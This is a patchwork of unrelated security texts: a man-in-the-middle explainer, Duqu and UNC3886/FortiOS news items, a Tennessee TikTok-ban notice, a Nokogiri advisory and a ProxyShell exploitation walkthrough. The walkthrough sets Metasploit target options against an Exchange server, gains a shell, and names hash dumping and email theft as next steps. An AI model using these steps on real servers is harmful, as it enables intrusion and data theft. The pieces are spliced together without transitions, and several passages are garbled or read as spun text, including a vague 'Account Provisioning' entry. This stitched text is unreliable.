A man-in-the-middle (MITM) attack is a type of cyberattack where attackers intercept an existing conversation or data transfer, either by eavesdropping or by pretending to be a legitimate participant. To the victim, it will appear as though a standard exchange of information is underway — but by inserting themselves into the “middle” of the conversation or data transfer, the attacker can quietly hijack information. The goal of a MITM attack is to retrieve confidential data such as bank account details, credit card numbers, or login credentials, which may be used to carry out further crimes like identity theft or illegal fund transfers. Because MITM attacks are carried out in real time, they often go undetected until it’s too late. The Two Phases of a Man-in-the-Middle Attack A successful MITM attack involves two specific phases: interception and decryption. Interception involves the attacker interfering with a victim’s legitimate network by intercepting it with a fake network before it can reach its intended destination. The interception phase is essentially how the attacker inserts themselves as the “man in the middle.” Attackers frequently do this by creating a fake Wi-Fi hotspot in a public space that doesn’t require a password. If a victim connects to the hotspot, the attacker gains access to any online data exchanges they perform. Once an attacker successfully inserts themselves between the victim and the desired destination, they may employ a variety of techniques to continue the attack: - IP Spoofing: Every Wi-Fi-connected device has an internet protocol (IP) address that is central to how networked computers and devices communicate. IP spoofing involves an attacker altering IP packets in order to impersonate the victim’s computer system. When the victim tries to access a URL connected to that system, they’re unknowingly sent to the attacker’s website instead. - ARP Spoofing: With Address Resolution Protocol (ARP) spoofing, the attacker uses falsified ARP messages to link their MAC address with a victim’s legitimate IP address. By connecting their MAC address to an authentic IP address, the attacker gains access to any data sent to the host IP address. - DNS Spoofing: Domain Name Server (DNS) spoofing, also known as DNS cache poisoning, involves an attacker altering a DNS server in order to redirect a victim’s web traffic to a fraudulent website that closely resembles the intended website. If the victim logs in to what they believe is their account, attackers can gain access to personal data and other information. A MITM attack doesn’t stop at interception. After the attacker gains access to the victim’s encrypted data, it must be decrypted in order for the attacker to be able to read and use it. A number of methods might be used to decrypt the victim’s data without alerting the user or application: - HTTPS Spoofing: HTTPS spoofing is a method for tricking your browser into thinking a certain website is safe and authentic when it’s not. When a victim attempts to connect to a secure site, a false certificate is sent to their browser which leads them to the attacker’s malicious website instead. This gives the attacker access to any data the victim shares on that site. - SSL Hijacking: Any time you connect to an unsecure website, indicated by “HTTP” in the URL, your server automatically reroutes you to the secure HTTPS version of that site. With SSL hijacking, the attacker uses their own computer and server to intercept the reroute, allowing them to interrupt any information passed between the user’s computer and server. This gives them access to any sensitive information the user uses during their session. - SSL Stripping: SSL stripping involves the attacker interrupting the connection between a user and a website. This is done by downgrading a user’s secure HTTPS connection to an unsecure HTTP version of the website. This connects the user to the unsecure site while the attacker maintains a connection to the secure site, rendering the user’s activity visible to the attacker in an unencrypted form. Real-World Examples of a MITM Attack There have been a number of well-known MITM attacks over the last few decades. - In 2015, an adware program called Superfish, which was pre-installed on Lenovo machines since 2014, was discovered to be scanning SSL traffic and installing fake certificates that allowed third-party eavesdroppers to intercept and redirect secure incoming traffic. The fake certificates also functioned to introduce ads even on encrypted pages. - In 2017, a major vulnerability in mobile banking apps was discovered for a number of high-profile banks, exposing customers with iOS and Android to man-in-the-middle attacks. The flaw was tied to the certificate pinning technology used to prevent the use of fraudulent certificates, in which security tests failed to detect attackers due to the certificate pinning hiding a lack of proper hostname verification. This ultimately enabled MITM attacks to be performed. How to Detect a MITM Attack If you’re not actively searching for signs that your online communications have been intercepted or compromised, detecting a man-in-the-middle attack can be difficult. While it’s easy for them to go unnoticed, there are certain things you should pay attention to when you’re browsing the web — mainly the URL in your address bar. The sign of a secure website is denoted by “HTTPS” in a site’s URL. If a URL is missing the “S” and reads as “HTTP,” it’s an immediate red flag that your connection is not secure. You should also look for an SSL lock icon to the left of the URL, which also denotes a secure website. Additionally, be wary of connecting to public Wi-Fi networks. As discussed above, cybercriminals often spy on public Wi-Fi networks and use them to perform a man-in-the-middle attack. It’s best to never assume a public Wi-Fi network is legitimate and avoid connecting to unrecognized Wi-Fi networks in general. Prevention and How to Prepare While being aware of how to detect a potential MITM attack is important, the best way to protect against them is by preventing them in the first place. Be sure to follow these best practices: - Avoid Wi-Fi networks that aren’t password-protected, and never use a public Wi-Fi network for sensitive transactions that require your personal information. - Use a Virtual Private Network (VPN) — especially when connecting to the internet in a public place. VPNs encrypt your online activity and prevent an attacker from being able to read your private data, like passwords or bank account information. - Log out of sensitive websites (like an online banking website) as soon as you’re finished to avoid session hijacking. - Maintain proper password habits, such as never reusing passwords for different accounts, and use a password manager to ensure your passwords are as strong as possible. - Use multi-factor authentication for all of your passwords. - Use a firewall to ensure safe internet connections. - Use antivirus software to protect your devices from malware. As our digitally connected world continues to evolve, so does the complexity of cybercrime and the exploitation of security vulnerabilities. Taking care to educate yourself on cybersecurity best practices is critical to the defense of man-in-the-middle attacks and other types of cybercrime. At the very least, being equipped with a strong antivirus software goes a long way in keeping your data safe and secure.
Identity Management / Account Provisioning Account Provisioning is an IT vulnerability of the category Identity Management, which occurs in Web and API. This vulnerability involves the ability to create and manage user accounts, allowing malicious actors to gain unauthorized access. According to the Common Weakness Enumeration (CWE) directory, Account Provisioning is a vulnerability that involves an application's inadequate control over user account management. This vulnerability can be exploited to gain access to sensitive information, or to gain control of an application. The OWASP Testing Guide provides a detailed guide for testing for Account Provisioning vulnerabilities. This vulnerability poses a serious risk to organizations as it could allow malicious actors to gain access to sensitive data or take control of applications. The risk of Account Provisioning can be assessed by examining the application’s ability to control user accounts, including the ability to detect and respond to suspicious activity. Organizations can address this vulnerability by implementing a strong user account provisioning process. This should include the ability to create, modify, and delete user accounts, as well as the ability to detect and respond to suspicious activity. Additionally, organizations should ensure that user accounts are only granted access to the resources they need, and that passwords are regularly changed.
There has been some Malware recently discovered that is said to be based on the infamous Stuxnet virus which is considered one of the world's most sophisticated viruses. In a detailed report, Symantec says the malware was discovered in an organization in Europe. Its called Duqu because it creates files with the file name prefix ~DQ. "Our telemetry shows the threat has been highly targeted toward a limited number of organizations for their specific assets. However, it's possible that other attacks are being conducted against other organizations in a similar manner with currently undetected variants," the report Symantec says. The original Stuxnet virus delivered a highly specific payload that attacked control systems found in Iranian nuclear processing plants. Duqu is different because it doesn't spread from machine to machine. "It has been specifically targeted at systems with the goal of getting in, compromising them, and then exfiltrating information." Duqu tricks Windows into allowing it to execute by exploiting a stolen digital certificate, taken from a company with headquarters in Taiwan. Once Duqu has been planted, it starts to communicate with a server based in India. It manages to obtain additional code able to record keystrokes and collect other system information that it then sends back to the control server.
Browse the Dictionary... Search the Dictionary n. Code surreptitiously inserted in an application or OS that causes it to perform some destructive or security-compromising activity whenever specified conditions are ... VIEW ENTIRE DEFINITION View Definition: hidden flag [scientific computation] n. An extra option added to a routine without changing the calling sequence. For example, instead of adding an explicit input variable to instruct a routine to give extra diagnostic output, the programmer might just add a test for some otherwise meaningless feature of the existing inputs, such as a negative mass. Liberal use of hidden flags can make a program very hard to debug and understand.
A zero-day exploit of a now-patched medium-severity security flaw in the Fortinet FortiOS operating system has been linked to a suspected Chinese hacking group. Threat intelligence firm Mandiant, which reported the attribution, said the cluster of activities was part of a broader campaign designed to deploy backdoors on Fortinet and VMware solutions and maintain constant access to victims’ environments. A Google-owned threat intelligence and incident response company is tracking malicious activity under its unclassified name UNC3886China-nexus threat actor. “UNC3886 is an advanced cyberespionage group with unique capabilities in how they operate on the network, as well as the tools they use in their campaigns,” Mandiant researchers said in a technical analysis. UNC3886 has been observed to target firewall and virtualization technologies that lack EDR support. Their ability to exploit firewall firmware and use zero-day shows that they have reached a deeper level of understanding of such technologies. It’s worth noting that the adversary was previously linked to another intrusion kit that targeted VMware ESXi and Linux vCenter servers as part of a hyperjacking campaign designed to release backdoors such as VIRTUALPITA and VIRTUALPIE. Mandiant’s latest disclosure comes as Fortinet discovered that government agencies and large organizations were victimized by an unknown threat actor exploiting a zero-day flaw in the Fortinet FortiOS software, resulting in the loss of data, OS and file corruption. The vulnerability, reported as CVE-2022-41328 (CVSS score 6.5), refers to a path traversal error in FortiOS that could lead to arbitrary code execution. It was patched by Fortinet on March 7, 2023. According to Mandiant, the attacks carried out by UNC3886 targeted Fortinet’s FortiGate, FortiManager and FortiAnalyzer devices to deploy two different implants such as THINCRUST and CASTLETAP. This, in turn, is made possible by the fact that the FortiManager device is exposed to the Internet. THINCRUST is a Python backdoor that can execute arbitrary commands and read and write from and to files on disk. The persistence provided by THINCRUST is further used to provide FortiManager scripts that weaponize the FortiOS path traversal flaw to overwrite legitimate files and modify firmware images. This includes a newly added “/bin/fgfm” (called CASTLETAP) that sends beacons to a server controlled by the actor to accept incoming commands, allowing it to run commands, retrieve payloads, and export data from compromises. host “When CASTLETAP was deployed on FortiGate firewalls, the threat actor connected to ESXi and vCenter machines,” the researchers explained. “The threat actor deployed VIRTUALPITA and VIRTUALPIE to assert persistence, allowing continued access to hypervisors and guest machines.” Alternatively, on FortiManager devices that enforce Internet access restrictions, the threat actor is said to have bypassed the FortiGate firewall compromised with CASTLETAP to release the REPTILE (“/bin/klogd”) backdoor into the network management system. to restore access. . Discover the hidden dangers of third-party SaaS applications Are you aware of the risks associated with third-party applications accessing your company’s SaaS applications? Join our webinar to learn about the types of permissions granted and how to minimize your risk. SAVE YOUR SEATS! The UNC3886 also uses a utility called TABLEFLIP at this stage, which is a program to redirect network traffic to connect directly to the FortiManager device regardless of access control list (ACL) rules. This is far from the first time Chinese adversary groups have targeted network equipment to spread specific malware, with recent attacks taking advantage of other vulnerabilities in Fortinet and SonicWall appliances. The disclosure also comes as threat actors develop and deploy exploits faster than ever before, with 28 vulnerabilities exploited within seven days of public disclosure, a 12% increase over 2021 and an 87% increase over 2020 , according to Rapid7. This is also significant, especially as hacking groups aligned with China have become “particularly adept” at exploiting zero-day vulnerabilities and installing specific malware to steal user credentials and maintain long-term access to targeted networks. “Efficiency […] This is further evidence that advanced cyber espionage threat actors are leveraging any available technology to secure and breach a target environment, especially technologies that do not support EDR solutions,” said Mandiant.
Ramon Padilla, Chief Information Officer for the UT System sent out an update to the UT System this morning. The message read as below. Governor Bill Lee signed Senate Bill 834/House Bill 1445 into law this week. This new law prohibits Tennessee public higher education institutions from allowing access to social media platforms operated or hosted by a company based in China on the institution’s network. The law applies to internet services provided by an institution through a hard-wired or wireless network connection and is effective immediately. This new law means that students, faculty, staff and members of the general public will be blocked while using the University’s IT network if they attempt to access TikTok or other social media platforms (WeChat, Sina Weibo, Tencent QQ, Tencent Video, Xiao HongShu, Douban, Zhihu, Meituan and Toutiao) that are operated or hosted by a company in China. The law does not prohibit students, faculty, staff, or members of the general public from accessing TikTok or other such Chinese social media platforms through an individual’s own personal network connection or a third-party network. The law recognizes several key exceptions. It does not apply to institutions or employees of such institutions if downloading, accessing, or using such a social media platform is necessary to perform: (1) law enforcement activities; (2) investigatory functions to carry out official duties for bona fide law enforcement, investigative, or public safety purposes; or (3) audit, compliance, or legal functions of the institution. We have created an FAQ to answer immediate concerns.
In my previous blog post we looked at the Proxy Logon Exploit where several CVE’s could be used to exploit an Exchange Server. In this article we will look at another exploit called “ProxyShell”. The CVE for this vulnerability is “CVE-2021-34473”. Let’s head over to Kali Linux and explore the modules available to us that we will use in this demonstration to attack the Exchange 2019 RTM server. KALI LINUX MODULES In Kali, open up a terminal and run the command “msfconsole” or simply launch the application “Metasploit” and once the database has started along with the service, enter in the following command: You should see the following output as shown below: At the prompt, type in “use 0” as there is only one exploit. Below is the output of the command: We need to set two (2) options here, the RHOSTS and LHOST as shown below: To set the RHOSTS and LHOST options, you can run the following commands: set RHOSTS <IP of host we attacking> set LHOST <IP of Kali machine> Exploitation of the Exchange Server Once the above items are set, simply type in “run” and press enter. It should list the server as vulnerable as shown below and begin exploiting CVE-2021-34473. The saved mailbox and email address data shown above, is stored in a text file as shown in the image below: Once the exploit completes, we gained a shell to the server and could carry out our post exploit tasks such as dumping the hashes, stealing data stored in emails etc. Alternative way to check and exploit ProxyShell Another way to check and exploit this vulnerability is to use a script on Github, the first script you can run is by using the Nuclei command and it’s parameters as shown below: The above shows you the server is vulnerable to attack. The next script uses Python to exploit the system, below is the output of running this command: As mentioned, it is vitally important to patch your systems and limit the exposure of your systems to the internet. There are multiple ways a bad actor can and will exploit a system, if it is patched, the above Python script would have come back saying the system is not vulnerable. Please ensure you keep your systems patched. Hope it helps.
Vulnerability in nokogiri A command injection vulnerability in Nokogiri v1.10.3 and earlier allows commands to be executed in a subprocess by Ruby’s Processes are vulnerable only if the undocumented method Nokogiri::CSS::Tokenizer#load_file is being passed untrusted user input. This vulnerability appears in code generated by the Rexical gem versions v1.0.6 and earlier. Rexical is used by Nokogiri to generate lexical scanner code for parsing CSS queries. The underlying vulnerability was addressed in Rexical v1.0.7 and Nokogiri upgraded to this version of Rexical in Nokogiri v1.10.4. Upgrade to Nokogiri v1.10.4, or avoid calling the undocumented method Nokogiri::CSS::Tokenizer#load_file with untrusted user input. \|Access Vector\|\|Access Complexity\|\|Authentication\|\|Confidentiality Impact\|\|Integrity Impact\|\|Availability Impact\|

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